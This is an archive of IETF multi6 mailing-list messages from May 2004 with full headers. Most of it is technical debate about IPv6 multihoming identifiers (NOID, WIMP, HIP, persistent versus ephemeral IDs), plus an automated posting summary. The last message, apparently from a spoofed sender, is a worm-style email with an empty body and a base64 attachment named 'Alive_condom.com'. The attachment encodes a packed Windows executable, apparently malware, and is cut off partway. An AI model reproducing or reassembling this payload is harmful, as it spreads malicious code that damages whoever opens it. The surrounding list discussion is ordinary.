	for <multi6-archive@lists.ietf.org>; Fri, 7 May 2004 13:08:56 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BM8p4-000AaI-K9
	for multi6-data@psg.com; Fri, 07 May 2004 17:07:42 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BM8p3-000Aa3-3z
	for multi6@ops.ietf.org; Fri, 07 May 2004 17:07:41 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i47H7T1C023334;
	Fri, 7 May 2004 19:07:30 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
In-Reply-To: <Roam.SIMC.2.0.6.1083880136.22086.nordmark@bebop.france>
References: <Roam.SIMC.2.0.6.1083880136.22086.nordmark@bebop.france>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <0C55C9A2-A049-11D8-BE01-000A95CD987A@muada.com>
Content-Transfer-Encoding: 7bit
Cc: Multi6 List <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: Persistent or opportunistic IDs
Date: Fri, 7 May 2004 19:07:40 +0200
To: Erik Nordmark <Erik.Nordmark@sun.com>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

On 6-mei-04, at 23:48, Erik Nordmark wrote:

> If we are assuming that the persistent identifiers provide a superset
> of the functionality/semantics prociuded by the short-lived 
> identifiers,

No, that's not the case. Unfortunately we all seem to mean something 
slightly different when talking about these two types of identifiers. 
The difference I'm interested in is the one between a NOID-like 
approach where we have FQDNs and locators, but no new identifier space, 
vs the FQDN -> long lived ID -> locators approach. We had solutions in 
this area on the table a little under a year ago, but this type of 
approach isn't so much in vogue any more now. (This is what I was 
getting at with "old fashioned id/loc approaches".)

Anyway, to get to the point: in NOID-type approaches it's possible to 
be backward compatible with existing transport protocols. This isn't 
really possible with approaches that introduce a new ID namespace. So 
the latter isn't a proper superset of the former.

> then taking the step should be easy; the question is what benefit
> one would derive, if any, (and at what cost) from taking the step to
> the persistent identifiers.

Three things:

1. It's possible to set up new sessions when some locators are 
unreachable without cooperation from applications.
2. References work.
3. If the identifiers are properly secured (secure mapping service such 
as DNSSEC or the identifiers are crypto-based) there are more and 
better ways to secure the multihoming solution.

> As one example, I think that multihoming with short-lived identifiers
> implies a change to the applications that do referrals and/or callbacks
> (depending on the actual multi6 approach they might need to change to
> pass FQDNs, locator lists, or something else where they today
> might pass a single IP address). Thus they need some change.

Yes.

> Will moving from short-lived identifiers to persistent identifiers
> imply another change to that class of applications?
> [This is just an example; I don't expect anybody to answer this 
> particular
> question at this point in time.]

If we can make these identifiers fit inside locators (= they must be 62 
bits or shorter) I don't think we need to change anything that's 
visible to applications. Obviously the multi6 solution must be extended 
to support the identifiers, there will probably have to be a mapping 
service of some kind and we need changes to address configuration so 
hosts can configure themselves with an appropriate identifier.

> Thus I do think we'd need to understand more details about such a 
> transition
> (or probably, coexistence) between different classes of identifiers
> before being able to guage the cost/benefit tradeoffs.

Of course. Let's start with a question that's probably a bit easier to 
answer: is a NOID-like solution that's mostly about keeping existing 
sessions running when there is an outage sufficient?




From owner-multi6@ops.ietf.org  Fri May  7 13:22:28 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07202
	for <multi6-archive@lists.ietf.org>; Fri, 7 May 2004 13:22:26 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BM930-000Cte-P3
	for multi6-data@psg.com; Fri, 07 May 2004 17:22:06 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BM92z-000CtE-Mf
	for multi6@ops.ietf.org; Fri, 07 May 2004 17:22:05 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i47HLq1C023629;
	Fri, 7 May 2004 19:21:53 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
In-Reply-To: <LIEEJBCNFDJHFFKJJDPAIEOJEAAA.mbagnulo@ing.uc3m.es>
References: <LIEEJBCNFDJHFFKJJDPAIEOJEAAA.mbagnulo@ing.uc3m.es>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <0EB837FF-A04B-11D8-BE01-000A95CD987A@muada.com>
Content-Transfer-Encoding: 7bit
Cc: Multi6 List <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: Persistent or opportunistic IDs
Date: Fri, 7 May 2004 19:22:03 +0200
To: <mbagnulo@ing.uc3m.es>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

On 7-mei-04, at 18:04, marcelo bagnulo wrote:

> Yes, and additionally, i guess we have to understand why, if the stable
> identifiers are the long term goal, are we adopting the transition 
> solution
> in the first place.
> I mean, any solution will imply the modification of all the hosts, so 
> why is
> that an intermediate solution is adopted instead of the definitive one?

It makes little sense to implement a solution and then replace it by 
another that's equal or better in every way. However, it may not be. 
For instance, the fist solution may provide better backward 
compatibility than the second one. Also, the second one may be 
"heavier" because it has better security. In situations where a high 
level of security isn't imporant, it could be preferable to use the 
simpler solution.

With two solutions there is less need to compromise. However, I'm not 
advocating building two completely independent solutions, what I'm 
thinking is more along the lines of having two modes of operation: the 
mandatory to implement mode is simple and light weight, but may not 
solve all aspects of the multihoming problem. The more advanced mode 
would be optional, and solve all the remaining problems, but probably 
at some complexity, overhead and compatibility expense.




From owner-multi6@ops.ietf.org  Fri May  7 14:19:06 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10018
	for <multi6-archive@lists.ietf.org>; Fri, 7 May 2004 14:19:05 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BM9v3-0001Z1-Gy
	for multi6-data@psg.com; Fri, 07 May 2004 18:17:57 +0000
Received: from [163.117.136.121] (helo=smtp01.uc3m.es)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BM9v1-0001YL-KA
	for multi6@ops.ietf.org; Fri, 07 May 2004 18:17:55 +0000
Received: from smtp01.uc3m.es (localhost [127.0.0.1])
	by localhost.uc3m.es (Postfix) with ESMTP
	id A69F937A78; Fri,  7 May 2004 20:17:54 +0200 (CEST)
Received: from lolo (lolo.it.uc3m.es [163.117.139.58])
	by smtp01.uc3m.es (Postfix) with SMTP
	id 8FC3E37A6C; Fri,  7 May 2004 20:17:54 +0200 (CEST)
Reply-To: <mbagnulo@ing.uc3m.es>
From: "marcelo bagnulo" <mbagnulo@ing.uc3m.es>
To: "Iljitsch van Beijnum" <iljitsch@muada.com>,
        "Erik Nordmark" <Erik.Nordmark@sun.com>
Cc: "Multi6 List" <multi6@ops.ietf.org>
Subject: RE: Persistent or opportunistic IDs
Date: Fri, 7 May 2004 20:14:08 +0200
Message-ID: <LIEEJBCNFDJHFFKJJDPAEEONEAAA.mbagnulo@ing.uc3m.es>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <0C55C9A2-A049-11D8-BE01-000A95CD987A@muada.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit



> -----Mensaje original-----
> De: owner-multi6@ops.ietf.org [mailto:owner-multi6@ops.ietf.org]En
> nombre de Iljitsch van Beijnum
> Enviado el: viernes, 07 de mayo de 2004 19:08
> Para: Erik Nordmark
> CC: Multi6 List
> Asunto: Re: Persistent or opportunistic IDs
>
>
> On 6-mei-04, at 23:48, Erik Nordmark wrote:
>
> > If we are assuming that the persistent identifiers provide a superset
> > of the functionality/semantics prociuded by the short-lived
> > identifiers,
>
> No, that's not the case. Unfortunately we all seem to mean something
> slightly different when talking about these two types of identifiers.

agree.
I think we need to include a terminology section or at least to include a
explicit definition when a new concept is used in the architectural draft.

> The difference I'm interested in is the one between a NOID-like
> approach where we have FQDNs and locators, but no new identifier space,
> vs the FQDN -> long lived ID -> locators approach. We had solutions in
> this area on the table a little under a year ago, but this type of
> approach isn't so much in vogue any more now. (This is what I was
> getting at with "old fashioned id/loc approaches".)

I don't have the same feeling about this point. IMHO there are good
proposals on the table that follow this approach, like SIM or HIP. (Thes is
the kind of approaches that you are considering by old fashioned id/loc
right?

>
> Anyway, to get to the point: in NOID-type approaches it's possible to
> be backward compatible with existing transport protocols. This isn't
> really possible with approaches that introduce a new ID namespace.

Why?
I think you can be backward compatible with HIP or SIM, since the new id is
128 bit long. Am i missing something?


> So
> the latter isn't a proper superset of the former.
>
> > then taking the step should be easy; the question is what benefit
> > one would derive, if any, (and at what cost) from taking the step to
> > the persistent identifiers.
>
> Three things:
>
> 1. It's possible to set up new sessions when some locators are
> unreachable without cooperation from applications.

I guess you can do that if you are using something like noid, since you
don't have to use the AID as locator for the first packet (if you know that
the other end supports noid, which is the same for the persistent identifier
case, i think)

> 2. References work.

Well, it would work if have a way to translate from the new id to the
locators, which is not so clear now. Also, if tou are using noid,
refferences may work if the locator that you are using is still working
properly.

> 3. If the identifiers are properly secured (secure mapping service such
> as DNSSEC or the identifiers are crypto-based) there are more and
> better ways to secure the multihoming solution.

Agree. IMHO this would be the main benefit of a new id namespace.


>
> > As one example, I think that multihoming with short-lived identifiers
> > implies a change to the applications that do referrals and/or callbacks
> > (depending on the actual multi6 approach they might need to change to
> > pass FQDNs, locator lists, or something else where they today
> > might pass a single IP address). Thus they need some change.
>
> Yes.
>
> > Will moving from short-lived identifiers to persistent identifiers
> > imply another change to that class of applications?
> > [This is just an example; I don't expect anybody to answer this
> > particular
> > question at this point in time.]
>
> If we can make these identifiers fit inside locators (= they must be 62
> bits or shorter) I don't think we need to change anything that's
> visible to applications. Obviously the multi6 solution must be extended
> to support the identifiers, there will probably have to be a mapping
> service of some kind and we need changes to address configuration so
> hosts can configure themselves with an appropriate identifier.
>
> > Thus I do think we'd need to understand more details about such a
> > transition
> > (or probably, coexistence) between different classes of identifiers
> > before being able to guage the cost/benefit tradeoffs.
>
> Of course. Let's start with a question that's probably a bit easier to
> answer: is a NOID-like solution that's mostly about keeping existing
> sessions running when there is an outage sufficient?
>
>

IMHO, something like NOID probably can provide most of the stuff required
for multihoming support. However, since the adoption of a multihoming
solution will impose an important effort becuase it implies the modification
of all the hosts, then it makes sense to adopt a solution that provide most
benefits, even in other areas.
I mean, introducing a new id namespace, for instance a crypto based
namespace, wouldn't be also help to provide a better support in other areas,
like mobility, enhanced security, etc?
I guess this is one of the key outputs of the architectural analysis, a new
namespace or not?

Regards, marcelo




From owner-multi6@ops.ietf.org  Sun May  9 00:02:27 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA13962
	for <multi6-archive@lists.ietf.org>; Sun, 9 May 2004 00:02:26 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BMfU0-0002iD-BS
	for multi6-data@psg.com; Sun, 09 May 2004 04:00:08 +0000
Received: from [66.92.66.68] (helo=cyteen.hactrn.net)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BMfTz-0002hp-9z
	for multi6@ops.ietf.org; Sun, 09 May 2004 04:00:07 +0000
Received: from hactrn.net (localhost [127.0.0.1])
	by cyteen.hactrn.net (Postfix) with ESMTP id 95E8627F
	for <multi6@ops.ietf.org>; Sun,  9 May 2004 00:00:06 -0400 (EDT)
To: multi6@ops.ietf.org
Subject: Weekly posting summary for multi6@ops.ietf.org
From: Rob Austein <sra@hactrn.net>
Date: Sun, 09 May 2004 00:00:06 -0400
Message-Id: <20040509040006.95E8627F@cyteen.hactrn.net>
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

    Messages   |      Bytes        | Who
--------+------+--------+----------+------------------------
 15.56% |    7 | 51.84% |   176812 | kurtis@kurtis.pp.se
 22.22% |   10 | 14.15% |    48277 | mbagnulo@ing.uc3m.es
 17.78% |    8 |  8.28% |    28236 | iljitsch@muada.com
 15.56% |    7 |  8.86% |    30216 | brc@zurich.ibm.com
  6.67% |    3 |  3.99% |    13602 | eric.fleischman@boeing.com
  4.44% |    2 |  3.82% |    13046 | gih@telstra.net
  2.22% |    1 |  1.78% |     6059 | jim.bound@hp.com
  2.22% |    1 |  1.51% |     5150 | h.soliman@flarion.com
  2.22% |    1 |  1.37% |     4668 | rbrabson@us.ibm.com
  2.22% |    1 |  1.12% |     3811 | marcelo@it.uc3m.es
  2.22% |    1 |  0.89% |     3019 | erik.nordmark@sun.com
  2.22% |    1 |  0.88% |     3009 | mankin@psg.com
  2.22% |    1 |  0.86% |     2924 | jnc@mercury.lcs.mit.edu
  2.22% |    1 |  0.67% |     2275 | sra@hactrn.net
--------+------+--------+----------+------------------------
100.00% |   45 |100.00% |   341104 | Total

Grunchweather Associates provides this automatic summary on an at-whim
basis at the request of the MULTI6 WG chairs.  Your mileage may vary.
We decline responsibilities, all shapes, all sizes, all colors.
If this script produces broken output, you get to keep both pieces.



From owner-multi6@ops.ietf.org  Sun May  9 04:13:42 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA22847
	for <multi6-archive@lists.ietf.org>; Sun, 9 May 2004 04:13:42 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BMjQQ-000HED-8z
	for multi6-data@psg.com; Sun, 09 May 2004 08:12:42 +0000
Received: from [195.212.29.154] (helo=mtagate5.de.ibm.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BMjQO-000HDo-2B
	for multi6@ops.ietf.org; Sun, 09 May 2004 08:12:40 +0000
Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1])
	by mtagate5.de.ibm.com (8.12.10/8.12.10) with ESMTP id i498CcYO137382
	for <multi6@ops.ietf.org>; Sun, 9 May 2004 08:12:38 GMT
Received: from sihl.zurich.ibm.com (sihl.zurich.ibm.com [9.4.16.232])
	by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i498CctM286482
	for <multi6@ops.ietf.org>; Sun, 9 May 2004 10:12:38 +0200
Received: from zurich.ibm.com (gsine09.us.sine.ibm.com [9.14.6.39])
	by sihl.zurich.ibm.com (AIX4.3/8.9.3p2/8.9.3) with SMTP id KAA34052
	for <multi6@ops.ietf.org>; Sun, 9 May 2004 10:12:36 +0200
Message-ID: <409DE7FB.3040405@zurich.ibm.com>
Date: Sun, 09 May 2004 10:12:43 +0200
From: Brian E Carpenter <brc@zurich.ibm.com>
Organization: IBM
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en, fr, de
MIME-Version: 1.0
To: Multi6 List <multi6@ops.ietf.org>
Subject: Is NOID-like sufficient? [was Re: Persistent or opportunistic IDs]
References: <Roam.SIMC.2.0.6.1083880136.22086.nordmark@bebop.france> <0C55C9A2-A049-11D8-BE01-000A95CD987A@muada.com>
In-Reply-To: <0C55C9A2-A049-11D8-BE01-000A95CD987A@muada.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Iljitsch van Beijnum wrote:
...
> 
> 
> Of course. Let's start with a question that's probably a bit easier to 
> answer: is a NOID-like solution that's mostly about keeping existing 
> sessions running when there is an outage sufficient?

I don't see that restriction in NOID. It certainly works for directing
new sessions to a working path (assuming the necessary module for
selecting a working path is present, but every solution needs that).
And if that module is present and handles load balancing, then NOID
also handles load-balancing.

Which of the RFC 3582 goals does NOID not support?

    Brian



From owner-multi6@ops.ietf.org  Mon May 10 21:39:30 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21439
	for <multi6-archive@lists.ietf.org>; Mon, 10 May 2004 21:39:30 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BNMDa-0007T0-9X
	for multi6-data@psg.com; Tue, 11 May 2004 01:38:02 +0000
Received: from [192.18.42.13] (helo=nwkea-mail-1.sun.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BNMDZ-0007Sn-FN
	for multi6@ops.ietf.org; Tue, 11 May 2004 01:38:01 +0000
Received: from bebop.France.Sun.COM ([129.157.174.15])
	by nwkea-mail-1.sun.com (8.12.10/8.12.9) with ESMTP id i4B1bm6b011729;
	Mon, 10 May 2004 18:37:49 -0700 (PDT)
Received: from blixten (punchin-nordmark.SFBay.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.7p1+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id i4B1bkQ01219;
	Tue, 11 May 2004 03:37:46 +0200 (MEST)
Date: Mon, 10 May 2004 18:37:49 -0700 (PDT)
From: Erik Nordmark <Erik.Nordmark@sun.com>
Reply-To: Erik Nordmark <Erik.Nordmark@sun.com>
Subject: RE: Persistent or opportunistic IDs
To: mbagnulo@ing.uc3m.es
Cc: Geoff Huston <gih@telstra.net>, Iljitsch van Beijnum <iljitsch@muada.com>,
        Multi6 List <multi6@ops.ietf.org>
In-Reply-To: "Your message with ID" <LIEEJBCNFDJHFFKJJDPACEOJEAAA.mbagnulo@ing.uc3m.es>
Message-ID: <Roam.SIMC.2.0.6.1084239469.9043.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk


> An interesting middle ground is provided by WIMP, because if i understand
> correctly, they use a stable identifier of the target host (the hash of the
> FQDN) but they use an ephemeral identifier for the initiating host. In this
> case the endpoint has multiple ephemeral identifiers and a well known stable
> identifier for incoming communications.

It is probably possible to combine this with other ideas such a NOID
(i.e. the server having a NOID-type identifier);
a question is whether we want clients in multihomed sites
where the client either doesn't have a DNS entry or it can't control
its DNS entry, to benefit from the multihoming of the client's site.

Overall there seem to be some "cost" associated with both having
a non-emphemeral identifier and security. In the case of NOID
this "cost" is the need to control your DNS entries.

   Erik




From owner-multi6@ops.ietf.org  Tue May 11 08:56:34 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA23765
	for <multi6-archive@lists.ietf.org>; Tue, 11 May 2004 08:56:34 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BNWlw-0003hR-He
	for multi6-data@psg.com; Tue, 11 May 2004 12:54:12 +0000
Received: from [163.117.136.122] (helo=smtp02.uc3m.es)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BNWls-0003ge-SE
	for multi6@ops.ietf.org; Tue, 11 May 2004 12:54:09 +0000
Received: from localhost (localhost [127.0.0.1])
	by localhost.uc3m.es (Postfix) with SMTP
	id F168226398; Tue, 11 May 2004 14:54:07 +0200 (CEST)
Received: from lolo (lolo.it.uc3m.es [163.117.139.58])
	by smtp02.uc3m.es (Postfix) with SMTP
	id D5A2C26399; Tue, 11 May 2004 14:54:06 +0200 (CEST)
Reply-To: <mbagnulo@ing.uc3m.es>
From: "marcelo bagnulo" <mbagnulo@ing.uc3m.es>
To: "Erik Nordmark" <Erik.Nordmark@sun.com>, <mbagnulo@ing.uc3m.es>
Cc: "Geoff Huston" <gih@telstra.net>,
        "Iljitsch van Beijnum" <iljitsch@muada.com>,
        "Multi6 List" <multi6@ops.ietf.org>
Subject: RE: Persistent or opportunistic IDs
Date: Tue, 11 May 2004 14:50:11 +0200
Message-ID: <LIEEJBCNFDJHFFKJJDPAIECCEBAA.mbagnulo@ing.uc3m.es>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <Roam.SIMC.2.0.6.1084239469.9043.nordmark@bebop.france>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

> It is probably possible to combine this with other ideas such a NOID
> (i.e. the server having a NOID-type identifier);
> a question is whether we want clients in multihomed sites
> where the client either doesn't have a DNS entry or it can't control
> its DNS entry, to benefit from the multihoming of the client's site.

Interesting approach indeed.
This would also save us the need to perform the reverse+forward DNS lookup
by the taget nodes, which would reduce the latency imposed by noid, since ,
the client (initiating host) will discover the multiple addresses of the
server using DNS as in noid, but the server will discover the multiple
addresses of the client using WIMP

>
> Overall there seem to be some "cost" associated with both having
> a non-emphemeral identifier and security.

Yes, the cost is aosociated with the fact that if you have a non ephemeral
id you need to defend it, i guess

> In the case of NOID
> this "cost" is the need to control your DNS entries.

I guess is more than that, it implies the additional round trips to get the
information from the central data base (DNS).

An interesting point of the WIMP noid combination that you suggest is that
you provide just what each end point needs i.e. if it is working as a
server, it gets a mechanisms to be reached and discovered, the RR asociated
with noid. If it is client, it gets an ephemeral identifier, which cannot be
used to initiate contact. In the case pf p2p, i guess that it will be
required to fall back to full noid.

Regards, marcelo

>
>    Erik
>
>





From owner-multi6@ops.ietf.org  Tue May 11 10:58:00 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01593
	for <multi6-archive@lists.ietf.org>; Tue, 11 May 2004 10:57:59 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BNYga-0006jk-07
	for multi6-data@psg.com; Tue, 11 May 2004 14:56:48 +0000
Received: from [161.53.19.155] (helo=delboy.org)
	by psg.com with smtp (Exim 4.30; FreeBSD)
	id 1BNYew-0006Gh-LV
	for multi6@ops.ietf.org; Tue, 11 May 2004 14:55:06 +0000
Date: Tue, 11 May 2004 16:56:35 +0100
To: "Multi" <multi6@ops.ietf.org>
From: "Kurtis" <kurtis@kurtis.pp.se>
Subject: Hidden message
Message-ID: <cjstskqgbvvjzktcmwq@ops.ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------cvxtnsobtkwnnligqqqs"
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-1.1 required=5.0 tests=BAYES_01,HTML_MESSAGE,
	MIME_HTML_ONLY autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

----------cvxtnsobtkwnnligqqqs
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
  

<br>
</body></html>

----------cvxtnsobtkwnnligqqqs
Content-Type: application/octet-stream; name="Alive_condom.com"
Content-Disposition: attachment; filename="Alive_condom.com"
Content-Transfer-Encoding: base64

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
